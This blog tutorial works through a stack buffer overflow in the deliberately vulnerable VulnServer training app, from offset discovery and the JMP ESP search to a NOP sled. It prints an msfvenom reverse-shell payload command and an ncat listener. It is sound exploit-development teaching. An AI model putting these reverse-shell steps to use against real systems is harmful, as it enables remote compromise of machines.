Introduction to Windows User Mode Exploitation pt. 3

 Introduction to Windows User Mode Exploitation pt. 3


 TRUN Command


The TRUN Command seen above starts of by :

- Checking if the first 5 characters contain the `TRUN `Command (note the space after TRUN) 
- Then it uses `malloc` to allocate memory in the maximum size of `0xBB8` (3000) bytes.
- then sets the memory (using `memset`) allocated, to 0 (Zeros) 
- then loops in the `buf `data (from the end of `TRUN `) it copies the data to destination 
- then it calls `Function3` which uses the Destination as an argument


Function3 shown below:



Looking clearly we do have a stack buffer overflow vulnerability since we can send 3000 bytes and Destination variable can only hold 2008 bytes, we can overflow to achieve this. The insecure code being the `strcpy` function since it doesn't verify the length.

Lets try sending some data : 



The above script sends 5000 A's to the port 9999 of our server, we have also fulfilled some of the conditions for it to work, one of the conditions is passing the `.` character too after `TRUN ` (note the space after TRUN)

We attach a debugger to the program and send our data :

we get a crash on the program :


we end up overwriting our `EIP` (Instruction Pointer with `0x41414141`) this is what we were targeting but we don't have a clue on which `0x41414141` , as we sent 5000 A's (`0x41`) , we need to figure what we can overwrite and where we will overwrite our `Return Address` , there's multiple ways to go about it even using manual methods, but for now we will really on metasploits' module to create a pattern that we can send over and figure our offset and return address.

`./pattern_create.rb -l 5000`


We modify our script to send over the pattern after the  `TRUN .`


So we will use another metasploit script, it queries to find the offset :

`./pattern_offset.rb -q 396f4338 -l 5000`


so we have an offset, we can test if we can modify a couple of things on script to see if we can control the EIP from this so far, we need to send the following :

header that is `TRUN .`
offset (filler data) that is `A * 2006`
EIP address `B * 4` (32 bits / 4 bytes)
rest of the data 5000 - (header - offset - EIP address )


And we definitely get control over `EIP` as shown above, our focus now would be write shellcode and have it executed by controlling the flow to the address it will be held at. 

doing a `dds esp - 8` will show us where the stack pointer starts, and will reveal items such as function parameters, return addresses, or local variables (well depending on current stack case) so we start 8 bytes below the current `ESP` value .


and as we can see... we have the stack staring at `0x019ff9cc` and below the stack we can see our return address(`EIP`) as of the crash 4 bytes above it and the filler 8 bytes above `ESP`.

Finding Bad Characters


Onwards to finding bad characters (already 0x00 (null byte) should be excluded) we will be testing between `0x01` to `0xFF` checking on this , we can confirm only a null byte is a bad character  and we can squeeze in 384 bytes for the shellcode:

`db esp L200`


Redirecting the Execution Flow


So now we have a couple of goodies, from the offset, list of bad characters, ability to control EIP, now we need to be able to either `JMP ESP` (which allows us to jump into our shellcode) the way we go about this is dependent on a couple of things, not limited to bad characters because if we find a good address with `JMP ESP` but contains bad characters we cannot use it, we also need it to be static (in this case so it doesn't shift every time we run our exploit) there's tools to find this but lets see how to go about it manually with WinDBG: 


- we first break the application on WinDBG after attaching or starting the process with WinDBG, then we make a few commands:


- `lm m vulnserver` this shows which modules on vulnserver have been loaded , in my case only vulnserver shows itself

- `dt ntdll!_IMAGE_DOS_HEADER 0x00400000` this dumps the IMAGE_DOS_HEADER (a structure on windows that enables windows to load PE correctly)

 - `? 0n128` this is evaluating the response of the above query to hex from decimal of the `e_lfanew` (Offset to the "PE"(vulnserver) header)

- We add the above value to the start of our vulnserver module : 0x0040000+0x80 and run the following query : `dt ntdll!_IMAGE_NT_HEADERS 0x00400000+0x80` 

- We the then pick the value from `OptionalHeader` which gives us where `DllCharacteristics` Field exist with the following command  `dt ntdll!_IMAGE_OPTIONAL_HEADER 0x00400000+0x80+0x018`  

We get a result of zero which shows clearly that the application doesn't have DEP or ASLR enabled on compilation, we however have an issue with Null Byte characters as its one of the addresses vulnserver is loaded on (0x0040000) this is a huge problem as we cant use this binary, however, vulnserver has a counterpart dll we can look at `essfunc.dll`.



And voila, no protection too, so we can use these and not any bad characters to worry about.

Looking for our `JMP ESP` :

We will use a tool called `msf-nasm_shell` to try and search for opcode `JMP ESP`


Searching for `FF E4` in WinDBG is as easy as

`s -b 62500000 62508000 0xff 0xe4`


and we have an interesting address we can start with : `0x625011af` no bad characters here so lets try and add it to our shellcode on our script (note 32bit windows system are little endian so we modify this to `\xaf\x11\x50\x62`)

And we place a bp on the 0x625011af address and we send our payload with the following modifications to our script : `ret_address = b"\xaf\x11\x50\x62" # EIP we need to ovewrite` and this is what happens:



We manage to JMP to ESP, and into our 'shellcode' , now before we generate our shellcode, its advisable to do a NOP Sled to literally ease into our exploit without causing any issue to non execution of our shellcode. a NOP Sled is basically adding NOPS in the beginning of our shellcode :  this is as simple as `nop_sled = b"\x90" * 20 #NOP opcode is 90` 

Generating the shellcode


We will use `msfvenom` from kali Linux with the shikata_ga_nai to encode our shellcode and specify we are avoiding the bad character Null Byte :

`msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00"`


And with that we ran our netcat for a reverse shell 

`ncat -lvp 443`

We got a very nice connect back soon after


Also [here](https://github.com/ke0z/VulnServer/blob/main/VulnServer_BufferOverFlow%20No%20ASLR.py) is our exploit in python.

Looking to still continue this series but with an SEH BufferOverflow Attack on our next items, we will later handle ASLR and DEP .

NB: we need to add `EXITFUNC=thread` to only ensure the thread handling the shellcode closes, just a good measure to avoid the application crushing.

Comments

Post a Comment

Popular posts from this blog

Introduction to Windows User Mode Exploitation pt. 1

Image
Windows User Mode Exploit Development: General Course Information: Quick  bit of info about the course :  - Userland(mode I will use this interchangeably) oriented - 32 bit : Calling convention  - EIP (Extended Instruction Pointer) and SEH (Structured Error handler) overwrites : IP Instruction Pointer Immediate pointer to address being executed) , SEH Exceptions have a structure (List like) overwrite the exception handler address and you have control (challenge is identifying the SEH structure and second on list is SEH address?) - EggHunter - Custom Shellcode - IDA Pro - DEP (Data Execution Prevention) with ROP (Return Oriented Programming) - Bypassing ASLR (Address Space Layout Randomization) - How to create and use RW(read and write primitives) to achieve complex attacks Memory When a binary is executed , it allocates memory within the memory boundaries. lowest memory address (`32 bit 0x00000000`) and highest memory address (`0x7FFFFFFF`) used by applications (not kerne...
Read more

Introduction to Windows User Mode Exploitation pt. 6

Image
 EggHunters with SEH LTER  Since we currently have gone through: - Vanilla Stack Buffer Overflow `TRUN` - Structured Exceptional Handler Stack Buffer Overflow `GMON` - Stack Buffer Overflow (Multistage exploit) using EggHunters  `KSTET` We we look at SEH but this time with Bad-Characters and use of Custom Encoders and a staged payload (with socket reuse) , I would suggest we use Mona as its still functional and also its allowed in the OSED exam (This serves as tutorial to someone who wants to learn Mona too) We start off by installing mona.  I use this handy script I have modified from [here](https://github.com/epi052/osed-scripts/blob/main/install-mona.ps1) : Loading Mona is simple, a few commands you should know:  `.load pykd.pyd` `!py mona` **It should be known Mona is its own stand alone tool, but it has been integrated into WinDBG with a wrapper around pykd.pyd, Mona has been integrated into ImmunityDBG too.** (also a good & longer [cheatsheet](https://...
Read more

Introduction to Windows User Mode Exploitation pt. 5

Image
 Introduction to Windows User Mode Exploitation pt. 5 EGGHUNTERS KSTET So far we know the drill ... crash the application, threw 250 bytes or so at it : we can do better by analyzing the disassembled code above, we can see it first compares a 6byte header "`KSTET `" and then only copies 100bytes of our input, that will be later passed to `_Function2`  Looking at `_Function2` it seems it can only handle 72 bytes, meaning we can crash this, lets find the offset but first we check if we can crash it by randomly sending anything more than 100 i sent 253 We proceed with looking for the offset to control the `EIP`  so offset is at 70, we try it out and this is the result:  and we are spot on : Sadly we do not have enough space for a shell code , seeing we have very limited space , barely 20 bytes : we can use the 20 bytes to create a short jump to our 70 sized buffer but still that isn't enough, hence enters : `EggHunters` : this a first time shellcode that we can search (...
Read more